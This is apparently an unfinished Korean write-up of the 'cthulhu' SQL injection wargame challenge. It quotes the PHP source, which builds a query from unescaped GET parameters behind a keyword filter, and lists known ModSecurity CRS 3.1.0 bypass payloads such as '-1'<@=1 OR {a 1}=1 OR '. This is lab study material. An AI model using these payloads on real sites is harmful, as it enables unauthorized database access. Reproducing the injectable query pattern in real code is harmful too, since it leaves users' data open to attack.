<?php
include "./welcome.php";
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("cthulhu");
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
🔹 $_GET[id]
, $_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, ()
, admin
, /i (대소문자를 구분하지 않음)
2.
ModSecurity Core Rule Set v3.1.0
으로 WFA (Web Application Firewall)이 보호되고 있다.
사이트에 들어가면 웹 애플리케이션 방화벽 과 함께 사용하기 위한 일반 공격 탐지 규칙 세트라고 하는데,버전을 확인해보니 업데이트가 안된 것 같다.
modsec core rule set v3.1.0 bypass
a'+(SELECT 1)+'
-1' AND 2<@ UNION/*!SELECT*/1, version()'
-1'<@=1 OR {a 1}=1 OR '
-1'<@=1 OR {x (select 1)}='1
a'+(SELECT 1)+'
필터링을 다시 한번 확인해보자.
❌ prob
, _
, .
, ()
, admin
, /i (대소문자를 구분하지 않음)
()
사용 할 수 없음